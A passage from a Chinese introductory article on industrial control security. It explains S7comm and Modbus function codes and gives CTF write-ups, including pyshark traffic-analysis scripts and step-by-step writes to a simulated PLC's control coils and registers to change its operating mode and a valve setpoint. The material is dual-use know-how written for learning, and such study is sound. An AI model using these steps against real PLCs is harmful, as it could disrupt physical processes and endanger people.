Error code，即错误码，其具体意思参考 **附录一：错误码具体含义**
以上为 header 的全部内容，而 S7comm 协议的Parameter 部分与Data 部分，则是根据header 中PDU
type的功能码的不同、协议扩展（Userdata）的内容不同而变得不同。这里仅对 PDU type
的不同功能码进行简单介绍，更为复杂的协议扩展内容，暂不做解释。
当PDU类型是JOB和ACK_DATA时，常见的功能码，如下表：
Hex | Value | 含义
---|---|---
0x00 | CPU services | CPU服务
0xf0 | Setup communication | 建立通信
0x04 | Read Var | 读取值
0x05 | Write Var | 写入值
0x1a | Request download | 请求下载
0x1b | Download block | 下载块
0x1c | Download ended | 下载结束
0x1d | Start upload | 开始上传
0x1e | Upload | 上传
0x1f | End upload | 上传结束
0x28 | PI-Service | 程序调用服务
0x29 | PLC Stop | 关闭PLC
以下内容会对这些功能码的结构进行简单介绍。
### Setup communication（0xf0）
Setup
communication会在每个会话开始时被发送，然后才可以交换任何其他消息，主要用于协商ACK队列的大小和最大PDU长度，双方声明它们的支持值（和计算机网络中的最大传送长度声明类似），ACK队列的长度决定了可以同时启动而不需要确认的并行作业的数量。PDU和队列长度字段都是大端。
Setup communication Parameter的结构如下：
0 – 1 字节：
Function: Setup communication (0xf0)，即Parameter/data 的函数声明
1 – 2 字节：
Reserved: 0x00，保留字节，一般为 0x00
2 – 4 字节：
Max AmQ (parallel jobs with ack) calling
4 – 6 字节：
Max AmQ (parallel jobs with ack) called
6 – 8 字节：
PDU length，即协商PDU长度
如下图所示的是PDU 类型为 Job 和 Ack_Data的实例
上图中的协商结果为：ACK队列的大小为1；最大PDU长度为240。
### Read Var（0x04）
读数据操作，通过指定变量的存储区域，地址（偏移量）及其大小或类型来执行。
Read Var 的Parameter的结构以及item的结构如下：
0 – 1 字节：
Function: Read Var (0x04)，即Parameter/data 的函数声明
1 - 2 字节：
Item count，即 Item 的个数
2 – 14 字节：
Item [1]，即第一个 Item
14+12 _n – 14+12_ (n+1)字节：
Item[n]，即第 N 个 Item
一个item的结构如下：
0 – 1字节：
Variable specification，即结构标识，通常为 0x12 ，代表变量规范
1 – 2 字节：
Length of following address specification，即地址规范长度，主要是以此往后的地址长度
2 – 3 字节：
Syntax Id，全称Syntax Ids of variable specification，即IDS 的地址规范的格式类型，用于确定寻址模式和其余项目结构的格式。常见的变量的结构标识如下表所示：
Hex | 值 | 描述
---|---|---
0x10 | S7ANY | Address data S7-Any pointer-like DB1.DBX10.2
0x13 | PBC-R_ID | R_ID for PBC
0x15 | ALARM_LOCKFREE | Alarm lock/free dataset
0x16 | ALARM_IND | Alarm indication dataset
0x19 | ALARM_ACK | Alarm acknowledge message dataset
0x1a | ALARM_QUERYREQ | Alarm query request dataset
0x1c | NOTIFY_IND | Notify indication dataset
0xa2 | DRIVEESANY | seen on Drive ES Starter with routing over S7
0xb2 | 1200SYM | Symbolic address mode of S7-1200
0xb0 | DBREAD | Kind of DB block read, seen only at an S7-400
0x82 | NCK | Sinumerik NCK HMI access
3 – 4 字节：
Transport size，即数据传输大小，常见值如下表：
Hex|值|描述
| :----- | :----- | :----- |
| 0| NULL |
| 3 | BIT | bit access, len is in bits
| 4 | BYTE/WORD/DWORD | byte/word/dword access, len is in bits
| 5 | INTEGER | integer access, len is in bits
| 6 | DINTEGER | integer access, len is in bytes
| 7 | REAL | real access, len is in bytes
| 9 | OCTET STRING | octet string, len is in bytes
4 – 6 字节：
Length，即数据的长度
6 – 8 字节：
DB number，即 DB 编号，如果访问的不是DB区域，此处为0x0000，如下图所示：
8 – 9 字节：
Area，即区域，常见的区域如下表所示：
Hex | Value | 描述
---|---|---
0x03 | System info of 200 family | 200系列系统信息
0x05 | System flags of 200 family | 200系列系统标志
0x06 | Analog inputs of 200 family | 200系列模拟量输入
0x07 | Analog outputs of 200 family | 200系列模拟量输出
0x80 | Direct peripheral access (P) | 直接访问外设
0x81 | Inputs (I) | 输入（I）
0x82 | Outputs (Q) | 输出（Q）
0x83 | Flags (M) | 内部标志（M）
0x84 | Data blocks (DB) | 数据块（DB）
0x85 | Instance data blocks (DI) | 背景数据块（DI）
0x86 | Local data (L) | 局部变量（L）
0x87 | Unknown yet (V) | 全局变量（V）
0x1c | S7 counters (C) | S7计数器（C）
0x1d | S7 timers (T) | S7定时器（T）
0x1e | IEC counters (200 family) | IEC计数器（200系列）
0x1f | IEC timers (200 family) | IEC定时器（200系列）
9 – 12 字节：
Address，即地址。
举个简单的例子可以说明下 Item 数据包的核心内容：
如上图所示，这是一个 PDU 类型为 Job，功能码为 Read Var的数据包，其主要内容为 Item[1]读取DB1类型为 BYTE
的0x00000000地址的值。
需要注意的是，PDU 类型为 Ack_Data，功能码为 Read Var的数据包，其Parameter结构和PDU 类型为 Job，功能码为 Read
Var的Parameter结构是不一样的。如下图所示：
可以看到，其Parameter只有function和item count两个字段，但其多了一部分内容，即 data，在 PDU 为 Job
的数据包中，是没有这个内容的。Data 的结构如下图所示：
0 – 1 字节：
Return code，即返回码，响应报文中Data部分的常见返回码如下表：
Hex | 值 | 描述
---|---|---
0x00 | Reserved | 未定义，预留
0x01 | Hardware error | 硬件错误
0x03 | Accessing the object not allowed | 对象不允许访问
0x05 | Invalid address | 无效地址，所需的地址超出此PLC的极限
0x06 | Data type not supported | 数据类型不支持
0x07 | Data type inconsistent | 日期类型不一致
0x0a | Object does not exist | 对象不存在
0xff | Success | 成功
1 - 2 字节：
Transport size，即数据传输大小，常见的 data 中数据传输大小的值如下表：
Hex | 值 | 描述
---|---|---
0 | NULL
3 | BIT | bit access, len is in bits
4 | BYTE/WORD/DWORD | byte/word/dword access, len is in bits
5 | INTEGER | integer access, len is in bits
6 | DINTEGER | integer access, len is in bytes
7 | REAL | real access, len is in bytes
9 | OCTET STRING | octet string, len is in bytes
2 – 4 字节：
Length:，即数据的长度
4 – 4+length(未定义) 字节：
Data，即数据。
4+length(未定义) – 5 字节：
Fill byte，即填充字节，如果数据的长度不满足 2-4 字节中的Length的话，填充0x00
### Write Var（0x05）
写数据操作，通过指定变量的存储区域，地址（偏移量）及其大小或类型来执行。Write Var中Parameter的结构和 Read Var 中的
parameter 的结构一致，但是由于是写数据，因此和读数据相比，多了写的data结构：
Write Var的结构如下：
如上图所示，这就是一个向地址为0x000000的Flags（M）写入0x77100002的作业请求。
与此对应，其Ack_Data 功能码结构也很类似：
与 Read Var 的结构相比，Write Var 在Data中只有一个Return code字段。
上图中的Item1，表示向地址为0x000000的Flags（M）写入0x77100002成功！
### Request download（0x1a）
Request download，即请求下载功能码，说这个之前不得不说一下整个下载的流程。因为这个内容与 Download block、Download
ended 内容其实是连贯的，三个功能码构成了一个完整的下载流程。
其流程如下：
说了上面的流程后，就可以来正式开始谈request download，Request download的Parameter的结构如下：
0 – 1 字节：
Function: Request download (0x1a)，即Parameter/data 的函数声明
1 – 2 字节：
Function Status，即功能状态，包含错误是否发生、是否使用另一个检索块/文件来请求的更多数据
2 – 4 字节：
Unknown byte(s) in blockcontrol，无意义
4 – 8 字节：
Unknown byte(s) in blockcontrol，无意义，一般为0x00000000
8 – 9 字节：
Filename Length，即文件名长度
9 – 18 字节：
Filename，文件名，其结构如下：
0 – 1 字节：
File identifier，即文件标识符，有_ (Complete Module)、$ (Module header for up-loading)两种文件标识符；
1 – 3 字节：
Block type，即块类型，在西门子设备中有8种不同类型的功能块，如下表：
Hex | 类型 | 描述
---|---|---
0x3038 | OB，ASCII为'08'，组织块 | OB决定用户程序的结构
0x3039 | CMod，ASCII为'09'
0x3041 | DB，ASCII为'0A'，数据块 | DB是用于存储用户数据的数据区域，除了指定给一个功能块的数据，还可以定义可以被任何块使用的共享数据
0x3042 | SDB，ASCII为'0B'，系统和数据块 | 由编程软件自动生成主要存放PLC的硬件组态等信息，用户无法直接打开和更改
0x3043 | FC，ASCII为'0C'，功能 |
FB、FC本质都是一样的，都相当于子程序，可以被其他程序调用（也可以调用其他子程序），FC使用的是共享数据块
0x3044 | SFC，ASCII为'0D'，系统功能 | SFB和SFC集成在S7 CPU中可以让你访问一些重要的系统功能
0x3045 | FB，ASCII为'0E'，功能块，带背景数据块 |
FB、FC本质都是一样的，都相当于子程序，可以被其他程序调用（也可以调用其他子程序），FB使用的是背景数据块
0x3046 | SFB，ASCII为'0F'，系统功能块 | SFB和SFC集成在S7 CPU中可以让你访问一些重要的系统功能
OB、FB、SFB、FC和SFC都包含部分程序，因此也称作逻辑块。每种块类型所允许的块的数量以及块的长度视CPU而定。
3 – 8 字节：
Block number，即请求的块编号
8 – 9 字节：
Destination filesystem，即请求目标的文件系统，有三种：
* P（Passive (copied, but not chained) module)：被动文件系统
* A (Active embedded module)：主动文件系统
* B (Active as well as passive module)：既主既被文件系统
18 – 19 字节：
Length part ，即参数的第二部分长度，也就是接下来的字段长度；
19 – 20 字节：
Unknown char before load mem，即加载mem之前的未知字符
20 – 26 字节：
Length of load memory，即装载长度
26 – 32 字节：
Length of MC7 code，即 MC7 代码长度
以上即为 request download的结构，其实也就是要告诉 PLC，我要下载块了，如下实例：
上图中，请求的文件标识是_ (Complete Module)，请求块类型为DB，块的编号为00001，目标块的文件系统是P (Passive
(copied, but not chained) module)，所以文件名为_0A00001P，用于将DB1复制到被动文件系统或从被动文件系统复制。
与读写文件类似，这里PDU类型是Job ，而PDU类型是 Ack_Data时，Request download 的结构如下：
可以看到，其 Parameter 内容仅有一个function 确认，因此在 request download 的job和 ack_data
完成后，就可以进行download block了。
### Download block（0x1b）
Download block的Parameter的结构如下：
可以看到，`Download block`的`Parameter`内容是和`request download`的内容重合的，只不过与后者相比，少了18 –
32 字节的内容`（Length part、Unknown char before load mem、Length of load
memory、Length of MC7 code）`，上图的内容也就是下载块 `_0A00001P` 的作业请求。
PDU类型为Ack_Data时，其Parameter的结构如下图所示：
Parameter 内容仅有function确认和function 状态，但是多出了 Data
结构，内容主要为数据长度、未知字节以及数据内容，数据内容的长度。
需要注意的是，一个完整的下载块，可能会通过几次请求，如下所示：
### Download ended（0x1c）
Download ended的Parameter的结构如下：
从上图中可以看到`Download ended`跟`Download block`的`Parameter`和`Request
download`的`Parameter`的第一部分相同，仅是少了18 – 32 字节的内容`（Length part、Unknown char
before load mem、Length of load memory、Length of MC7
code）`，这里的意思也就是结束下载`0A00001P`的作业请求。
当PDU类型为Ack_Data时，Download ended的Parameter结构如下：
只有一个function确认，返回后即确定结束下载_0A00001P的响应，整个下载过程也就完成了。
### Start upload（0x1d）
Start upload，即开始上传功能码，和请求下载功能码类似，说这个之前也不得不说一下整个上传的流程。因为这个内容与 Upload、End upload
内容其实是连贯的，三个功能码构成了一个完整的上传流程。
其流程如下：
说了上面的流程后，就可以来正式开始谈Start upload，Start upload的Parameter的结构如下：
可以看到，`Start upload`的结构和`Request Download` 的前部分结构一致，如上图所示的内容，其实就是告诉 PLC
一个文件名，文件标识是`_ (Complete Module)`，块类型为`0B（SDB）`，块的编号为`00000`，目标块的文件系统是`A
(Active embedded module)`，所以文件名为`_0B00000A`
PDU类型为Ack_Data时，其结构如下图：
0 – 1 字节：
Function: Start upload (0x1d)，即Parameter/data 的函数声明
1 – 2 字节：
Function Status，即功能状态，包含错误是否发生、是否使用另一个检索块/文件来请求
2 – 4 字节：
Unknown byte(s) in blockcontrol，即blockcontrol中的所有未知字节
4 – 8 字节：
UploadID，即上传文件会话的 ID
8 – 9 字节：
Blocklengthstring Length，即块长字符串后的字节长度
9 – 16 字节：
Blocklength，完整上传块的长度（以字节为单位），可以拆分为多个PDU
### Upload（0x1e）
当PDU类型为Job时，Upload 结构中没有Data，其Parameter的结构，如下：Upload的Parameter的结构如下：
0 - 1 字节：
Function: Upload (0x1e)，功能码状态；
1 – 2 字节:
Function Status，即功能状态，包含错误是否发生、是否使用另一个检索块/文件来请求
2 – 4 字节:
Unknown byte(s) in blockcontrol，blockcontrol中的所有未知字节
4 – 8 字节：
UploadID，即上传的会话ID，主要是告诉Step7上传会话ID；
这是 JOB 型的结构，当PDU类型为Ack_Data时，Upload有Data，其Parameter的结构，如下：
在parameter 中仅有 function确认以及 function status，多出的 data 中字节长度主要看 data 的长度，这个结构和
download block 是一致的。
### End upload（0x1f）
上传结束的会话过程，当所有上传块上传结束后，Step7对 PLC发送结束上传的作业请求，PLC收到后就关闭会话，然后返回一个Ack_Data响应。
End upload的Parameter的结构如下：
结构比较简单，没有什么特殊地方，共有8 字节内容，UploadID 最大，有4 个字节。
当PDU类型为Ack_Data时，其结构如下：
仅有一个功能确认的结构。到这里，一个上传的过程就结束了。
### PI-Service（0x28）
PI-Service 即程序调用服务 ，它用于PLC修改执行/内存状态的日常工作。这些命令可以用于启动或停止PLC控制程序、激活或删除程序块。
PI-Service的Parameter的结构如下：
0 – 1 字节：
Function: PI-Service (0x28)，即功能码状态
1 – 8 字节：
Unknown bytes，即未知字节
8 – 10 字节：
Parameter block length，即参数块长度
10 -12 字节：
Parameter block，即参数块
12 -13 字节：
String length，即PI service的字符串长度
13 -22 字节：
PI (program invocation) Service，程序调用服务名，具体见附录二
需要注意的是，如果服务调用的参数是块的话，Parameter block的结构是不同的，如下图所示：
上图中主要含义如下：
> 服务名称：_INSE
> 参数：0800001P [OB 1]
> 请求内容：激活OB 1
请求的结果如下图所示：
function确认，请求成功
### PLC Stop（0x29）
PLC STOP其实和PI -Service 是一致的，PLC Stop的Parameter的结构如下：
唯一和 PI-Service有区分的地方可能就是 PLC Stop 中不存在Parameter block结构，其他结构，包括
PDU类型为Ack_Data时也是一样，如下图所示：
### 小结
上面介绍的S7Comm中PDU类型为JOB和ACK_DATA的相关知识，还有最复杂的UserData的内容就不再介绍了（因为真的太多，太复杂，有兴趣可以自己查询相关资料，这里仅作JOB
和 ACK_DATA 的入门内容介绍），它的用处很广，比如`TIME functions、NC programming、CPU
functions、Cyclic data、Security`等。
# 0x02 MODBUS 协议
Modbus是Modicon公司推出的协议，ModbusRTU和Modbus
ASCII诞生于此。后来施耐德电气`（SchneiderElectric）`收购了Modicon公司，并在1997年推出了ModbusTCP协议。
2004年，中国国家标准委员会正式把Modbus作为了国家标准，开启了Modbus为中国工业通信做贡献的时代。
MODBUS是一种应用层消息传递协议，位于OSI模型的第7级，提供在不同类型的总线或网络上连接的设备之间的客户端/服务器通信。自1979年以来，作为业界系列上的标准，MODBUS继续使数百万自动化设备能够进行通信。
MODBUS是一种请求/回复协议，提供功能代码指定的服务。 MODBUS功能代码是MODBUS请求/回复PDU的元素。 本文不对 modbus
协议的传输方式、错误检测方法、物理层方面等进行描述，仅对MODBUS内使用的功能代码进行简单介绍。
MODBUS功能码主要分为有效功能码、异常功能码和错误功能码。有效功能码有二十几种，但是一般使用上都以`1、2、3、4、5、6、15、16`等八种最为常用，以及另外特殊使用的20、21两种，此为General
Reference Register，绝大部份的Modbus设备并不会提供此Register。
MODBUS 本来想说很多的，但是发现官方有这方面的文档，因此就不在细说了
文档下载地址：见最下方链接
英文版：
中文版
这个里面详细说明了 modbus 的功能码，相关工作原理等，有兴趣的可以下载下来研究一下。
# 0x03 实例分析
## 实例一：S7comm 协议分析
### 题目说明
分析 S7 流量中的异常，在异常数据包中找到 flag
### 题解
打开文件如下图：
由于题目已经说明是 S7 协议，因此可以排除掉非 S7 协议的内容：
由于包很多，不能确定使用了哪些PDU 类型，将该分组导出：
用以下脚本来判断使用的 PDU 类型和次数：
#!/usr/bin/env python
#encoding=utf-8
import pyshark
captures = pyshark.FileCapture("cotp.pcapng")
pdu_types = {}
for c in captures:
for pkt in c:
if pkt.layer_name == "cotp":
if hasattr(pkt, "type"):
type = pkt.type
if type in pdu_types:
pdu_types[type] += 1
else:
pdu_types[type] = 1
print(pdu_types)
确定使用了三种 PDU 类型功能码，分别为 0x0f（3696 次），0x0e（12 次），0x0d（8次）
上文中没有对 cotp 进行介绍，但其实也仅仅是功能和传输格式上的区别，这三种功能码说明如下：
#### PDU Type: DT Data (0x0f)：
主要用于数据传输，Parameter中含有 data 结构
#### PDU Type: CR Connect Request (0x0e)
主要用于发起连接请求
#### PDU Type: CC Connect Confirm (0x0d)
主要用于连接确认
从三种 PDU 协议功能码的出现频率来看，0x0d 和0x0e出现 flag 的概率最大，因此来分析这两种功能码：
注意到：
每一次发起请求连接对应着一次请求确认，在前三个协议包中，连续三次发起了请求，可能存在问题，查看发现：
在第三个包中，发现有意义的内容：NESSUS
又看了其他数据包的内容，并未发现有意义内容，因此该字符串即为 flag
## 实例二：modbus 协议分析
### 题目说明
没有给什么提示，就是单纯的协议分析题
### 题解
打开文件发现：
非正常的协议包，对比正常协议包发现是文件头尾被篡改，因此使用010 Editor编辑修改文件头和文件尾：
正常 pcap 包
下载文件的 pcap 包：
删除文件的头三个尾三个字节，修改后打开：
因为协议很多，其他协议内容不是本文的重点，这里只对 modbus 协议进行分析（实际上 flag 也就在 modbus里面），使用筛选器筛选出 modbus
协议，然后分组导出，使用以下脚本确定存在的功能码：
#!/usr/bin/env python
#encoding=utf-8
import pyshark
captures = pyshark.FileCapture("modbus-ics.pcapng")
modbus_func_code = {}
for c in captures:
for modbus in c:
if modbus.layer_name == "modbus":
if hasattr(modbus, "func_code"):
type = modbus.func_code
if type in modbus_func_code:
modbus_func_code[type] += 1
else:
modbus_func_code[type] = 1
print(modbus_func_code)
发现只存在功能码为 3 的协议包，共计 274 条。
上文中也提到了，modbus 协议以`1、2、3、4、5、6、15、16`等八种最为常用，
下表为 modbus 的功能码简单说明：
功能码为3 的主要作用是读取寄存器，因此我们只需要确定读取寄存器的内容，即可确定 flag。
观察流量包：
[
发现只要寄存器1的数据在不断变化，因此按照传输顺序提取寄存器1的数据并转成ASCII码，得到数据：
0x39,0x65,0x32,0x33,0x32,0x61,0x62,0x39,0x65,0x30,0x63,0x32,0x65,0x31,0x37,0x33,0x35,0x39,0x64,0x37,0x61,0x64,0x37,0x61,0x64,0x65,0x61,0x30,0x61,0x33,0x30,0x37,0x31,0x38,0x65,0x00,0x33,0x35,0x32,0x66,0x63,0x36,0x31,0x31,0x33,0x66,0x64,0x62,0x61,0x33,0x32,0x36,0x64,0x34,0x39,0x38,0x37,0x37,0x63,0x37,0x33,0x38,0x33,0x34,0x35,0x34,0x65,0x37,0x00,0x61,0x65,0x62,0x66,0x62,0x61,0x34,0x35,0x32,0x33,0x63,0x64,0x66,0x30,0x33,0x64,0x64,0x66,0x65,0x38,0x65,0x66,0x38,0x64,0x66,0x36,0x32,0x30,0x66,0x66,0x35,0x30,0x00,0x61,0x33,0x64,0x65,0x62,0x39,0x65,0x65,0x32,0x37,0x32,0x35,0x37,0x36,0x33,0x33,0x66,0x35,0x39,0x30,0x35,0x37,0x63,0x35,0x36,0x35,0x34,0x64,0x66,0x66,0x65,0x36
使用以下脚本将其转化为字符串：
#!/usr/bin/env python
#encoding=utf-8
data = 0x39,0x65,0x32,0x33,0x32,0x61,0x62,0x39,0x65,0x30,0x63,0x32,0x65,0x31,0x37,0x33,0x35,0x39,0x64,0x37,0x61,0x64,0x37,0x61,0x64,0x65,0x61,0x30,0x61,0x33,0x30,0x37,0x31,0x38,0x65,0x00,0x33,0x35,0x32,0x66,0x63,0x36,0x31,0x31,0x33,0x66,0x64,0x62,0x61,0x33,0x32,0x36,0x64,0x34,0x39,0x38,0x37,0x37,0x63,0x37,0x33,0x38,0x33,0x34,0x35,0x34,0x65,0x37,0x00,0x61,0x65,0x62,0x66,0x62,0x61,0x34,0x35,0x32,0x33,0x63,0x64,0x66,0x30,0x33,0x64,0x64,0x66,0x65,0x38,0x65,0x66,0x38,0x64,0x66,0x36,0x32,0x30,0x66,0x66,0x35,0x30,0x00,0x61,0x33,0x64,0x65,0x62,0x39,0x65,0x65,0x32,0x37,0x32,0x35,0x37,0x36,0x33,0x33,0x66,0x35,0x39,0x30,0x35,0x37,0x63,0x35,0x36,0x35,0x34,0x64,0x66,0x66,0x65,0x36
ret=''
for i in data:
if i == 0:
ret+='\n'
else:
ret += chr(i)
print (ret)
可以得到四行字符串：
9e232ab9e0c2e17359d7ad7adea0a30718e
352fc6113fdba326d49877c7383454e7
aebfba4523cdf03ddfe8ef8df620ff50
a3deb9ee27257633f59057c5654dffe6
其中后面3个字符串可以直接破解md5，为`_love_this_game!`
第一个发现多出来三个字符，观察发现在第 19 位置到第 24 位置，存在重复，删除多余的`d7a`，解密md5 可得`pcl_i`
最终得到 flag 为`pcl_i_love_this_game!`
## 实例三：工控系统操作1
#### 要求
* 调节某阀门开度，使其数值从35变到大于60，数值稳定、持续时间大于3秒。
* 完成时间：30分钟
#### 已知条件
* 工控设备（虚拟机）的IP地址。
* 设备支持Modbus通信协议，端口号502
* PLC上有以下寄存器和线圈：
**状态寄存器 0x0000~0x0009，供监视用。** 控制寄存器 0x000A~0x0014，供控制用。
**状态线圈 0x0000~0x0009，供监视用。** 控制线圈 0x000A~0x0014，供控制用。
** 附加寄存器 0x1000~0x1063，供提交FLAG用。
* 阀门开度对应的状态寄存器为0x0008，对应的控制寄存器为0x0010。
#### 完成标准
操作成功后，附加寄存器0x1000~0x1007中会自动出现一组（8个）非0数值，这些数值对应的ASCII码即为任务完成的FLAG
### 题解
因为现在已经没有环境可以复现，因此只做简单说明。
这题刚开始很久没人做出来，后来官方给出了 tips：
* 设定值的前提条件之一是系统处于维护模式
* 控制寄存器0x00B是系统工作模式，值为3代表维护模式、值为0代表运行模式。
* 为防止误操作，正常运行时工作模式是锁定的。如要改变工作模式，须先操作某控制线圈来进行解锁。
根据提示，我们首先要将进入系统维护模式，测试发现可改的线圈只有 15，因此需要调整 15 线圈，将其写入 Bool 型数据
true，然后调整工作模式，由11 切换到 3 ，再对控制器进行操作，在地址16写入值 为 100（其他也行，但是要大于
64），最后将系统的工作模式复原，先将线圈 11 改为 0，然后把控制器 15 改成 false 即可。
最后可以从4096[+10]得到ascii，如下图：
转换后得到flag： 06E6B72D
## 实例三：工控系统操作2
#### 要求
* 以正常通信方式打开PLC设备的报警使能开关；
* 读取PLC系统生成的一条日志，分析日志中记录的报警时间。
* 完成时间：30分钟。
#### 已知条件
* 工控设备（虚拟机）的IP地址。
* 设备支持Modbus通信协议，端口号502。
* PLC上有以下寄存器和线圈：
**状态寄存器 0x0000~0x0009，供监视用。** 控制寄存器 0x000A~0x0014，供控制用。
**状态线圈 0x0000~0x0009，供监视用。** 控制线圈 0x000A~0x0014，供控制用。
** 状态寄存器 0x100~0x163，供报警日志用。
* 报警日志使能开关的对应的控制线圈地址为0x000D
#### 完成标准
取得报警时间后，该时间值即为任务完成FLAG，格式为`yyyy-mm-dd hh:mm:ss`
### 题解
这题完成的基础是在上题的基础上。
根据已知条件，首先打开日志使能开关，即将线圈13 改为 true
Fuzzing了几个寄存器后，发现256[+100]能看到报错数值，因此读取该地址的数值：
[18:25:10] [256] 25
[18:25:12] [257] 13
[18:25:16] [258] 84 T
[18:25:19] [259] 224
[18:25:23] [260] 92 /
[18:25:26] [261] 115 s
[18:25:29] [262] 119 w
[18:25:32] [263] 105 i
[18:25:34] [264] 116 t
[18:25:37] [265] 99 c
[18:25:39] [266] 104 h
[18:25:41] [267] 32 space
[18:25:44] [268] 49 1
[18:25:46] [269] 51 3
[18:25:50] [263] 105 i
[18:25:56] [270] 49 1
[18:25:59] [271] 32 space
[18:26:02] [272] 116 t
[18:26:06] [273] 114 r
[18:26:08] [274] 105 i
[18:26:10] [275] 112 p
[18:26:13] [276] 32 space
[18:26:15] [277] 111 o
[18:26:18] [278] 102 f
[18:26:20] [279] 102 f
[18:26:23] [280] 46 .
[18:26:26] [281] 0
[18:26:28] [282] 76 L
[18:26:33] [283] 0
[18:26:37] [284] 0
[18:26:39] [285] 0
通过对上面的数据分析，发现`190d54e05c`可能是时间戳。
拆分后大小端重排为`5CE0540D`，然后转换为10进制 `1558205453`，转换为unix时间戳：
提交flag: 2019-5-19 2:50:53
其实还有第三题工控系统操作，但是由于到最后我们没时间计算校验码，因此没有拿到 flag，这里也就不说了
# 0x04 总结
S7协议没有公开的官方文档，在S7协议方面也没有官方术语，我了解的也不算深入，只是通过网上一些分享结合自己理解写成的一篇入门文章，如有错误，还望指出，另外，工控安全其实很吃工控设备，如果能有实际/仿真/模拟设备，对于工控安全的学习很有帮助。此文仅作工控安全入门参考文章，希望对你有所帮助。
# 0x05 参考
西门子通信协议S7Comm
<https://laucyun.com/3aa43ada8cfbd7eca51304b0c305b523.html#6-8>
Siemens SIMATIC Step 7 Programmer's Handbook
<http://www.plcdev.com/book/export/html/373>
S7 Communication (S7comm)
<https://wiki.wireshark.org/S7comm>
wireshark dissector plugin sources
<http://gmiru.com/resources/s7proto/constants.txt>
PI service names
<https://laucyun.com/static/upload/file/2018/01/PI_service_names.txt>
工业控制系统安全之——Modbus学习笔记
<https://www.freebuf.com/articles/ics-articles/148637.html>
Modbus TCP流量分析
<http://www.vanimpe.eu/2015/12/07/introduction-to-modbus-tcp-traffic/>
# 0x06 附录一：错误码具体含义
错误码 | 含义
---|---
0x0000 | 没有错误
0x0110 | 块号无效
0x0111 | 请求长度无效
0x0112 | 参数无效
0x0113 | 块类型无效
0x0114 | 找不到块
0x0115 | 块已存在
0x0116 | 块被写保护
0x0117 | 块/操作系统更新太大
0x0118 | 块号无效
0x0119 | 输入的密码不正确
0x011A | PG资源错误
0x011B | PLC资源错误
0x011C | 协议错误
0x011D | 块太多（与模块相关的限制）
0x011E | 不再与数据库建立连接，或者S7DOS句柄无效
0x011F | 结果缓冲区太小
0x0120 | 块结束列表
0x0140 | 可用内存不足
0x0141 | 由于缺少资源，无法处理作业
0x8001 | 当块处于当前状态时，无法执行请求的服务
0x8003 | S7协议错误：传输块时发生错误
0x8100 | 应用程序，一般错误：远程模块未知的服务
0x8104 | 未在模块上实现此服务或报告了帧错误
0x8204 | 对象的类型规范不一致
0x8205 | 复制的块已存在且未链接
0x8301 | 模块上的内存空间或工作内存不足，或者指定的存储介质不可访问
0x8302 | 可用资源太少或处理器资源不可用
0x8304 | 无法进一步并行上传。存在资源瓶颈
0x8305 | 功能不可用
0x8306 | 工作内存不足（用于复制，链接，加载AWP）
0x8307 | 保持性工作记忆不够（用于复制，链接，加载AWP）
0x8401 | S7协议错误：无效的服务序列（例如，加载或上载块）
0x8402 | 由于寻址对象的状态，服务无法执行
0x8404 | S7协议：无法执行该功能
0x8405 | 远程块处于DISABLE状态（CFB）。该功能无法执行
0x8500 | S7协议错误：帧错误
0x8503 | 来自模块的警报：服务过早取消
0x8701 | 寻址通信伙伴上的对象时出错（例如，区域长度错误）
0x8702 | 模块不支持所请求的服务
0x8703 | 拒绝访问对象
0x8704 | 访问错误：对象已损坏
0xD001 | 协议错误：非法的作业号
0xD002 | 参数错误：非法的作业变体
0xD003 | 参数错误：模块不支持调试功能
0xD004 | 参数错误：作业状态非法
0xD005 | 参数错误：作业终止非法
0xD006 | 参数错误：非法链路断开ID
0xD007 | 参数错误：缓冲区元素数量非法
0xD008 | 参数错误：扫描速率非法
0xD009 | 参数错误：执行次数非法
0xD00A | 参数错误：非法触发事件
0xD00B | 参数错误：非法触发条件
0xD011 | 调用环境路径中的参数错误：块不存在
0xD012 | 参数错误：块中的地址错误
0xD014 | 参数错误：正在删除/覆盖块
0xD015 | 参数错误：标签地址非法
0xD016 | 参数错误：由于用户程序错误，无法测试作业
0xD017 | 参数错误：非法触发号
0xD025 | 参数错误：路径无效
0xD026 | 参数错误：非法访问类型
0xD027 | 参数错误：不允许此数据块数
0xD031 | 内部协议错误
0xD032 | 参数错误：结果缓冲区长度错误
0xD033 | 协议错误：作业长度错误
0xD03F | 编码错误：参数部分出错（例如，保留字节不等于0）
0xD041 | 数据错误：非法状态列表ID
0xD042 | 数据错误：标签地址非法
0xD043 | 数据错误：找不到引用的作业，检查作业数据
0xD044 | 数据错误：标签值非法，检查作业数据
0xD045 | 数据错误：HOLD中不允许退出ODIS控制
0xD046 | 数据错误：运行时测量期间非法测量阶段
0xD047 | 数据错误：“读取作业列表”中的非法层次结构
0xD048 | 数据错误：“删除作业”中的非法删除ID
0xD049 | “替换作业”中的替换ID无效
0xD04A | 执行'程序状态'时出错
0xD05F | 编码错误：数据部分出错（例如，保留字节不等于0，...）
0xD061 | 资源错误：没有作业的内存空间
0xD062 | 资源错误：作业列表已满
0xD063 | 资源错误：触发事件占用
0xD064 | 资源错误：没有足够的内存空间用于一个结果缓冲区元素
0xD065 | 资源错误：没有足够的内存空间用于多个结果缓冲区元素
0xD066 | 资源错误：可用于运行时测量的计时器被另一个作业占用
0xD067 | 资源错误：“修改标记”作业过多（特别是多处理器操作）
0xD081 | 当前模式下不允许使用的功能
0xD082 | 模式错误：无法退出HOLD模式
0xD0A1 | 当前保护级别不允许使用的功能
0xD0A2 | 目前无法运行，因为正在运行的函数会修改内存
0xD0A3 | I / O上活动的“修改标记”作业太多（特别是多处理器操作）
0xD0A4 | '强制'已经建立
0xD0A5 | 找不到引用的作业
0xD0A6 | 无法禁用/启用作业
0xD0A7 | 无法删除作业，例如因为当前正在读取作业
0xD0A8 | 无法替换作业，例如因为当前正在读取或删除作业
0xD0A9 | 无法读取作业，例如因为当前正在删除作业
0xD0AA | 处理操作超出时间限制
0xD0AB | 进程操作中的作业参数无效
0xD0AC | 进程操作中的作业数据无效
0xD0AD | 已设置操作模式
0xD0AE | 作业是通过不同的连接设置的，只能通过此连接进行处理
0xD0C1 | 访问标签时至少检测到一个错误
0xD0C2 | 切换到STOP / HOLD模式
0xD0C3 | 访问标记时至少检测到一个错误。模式更改为STOP / HOLD
0xD0C4 | 运行时测量期间超时
0xD0C5 | 块堆栈的显示不一致，因为块被删除/重新加载
0xD0C6 | 作业已被删除，因为它所引用的作业已被删除
0xD0C7 | 由于退出了STOP模式，因此作业被自动删除
0xD0C8 | 由于测试作业和正在运行的程序之间不一致，“块状态”中止
0xD0C9 | 通过复位OB90退出状态区域
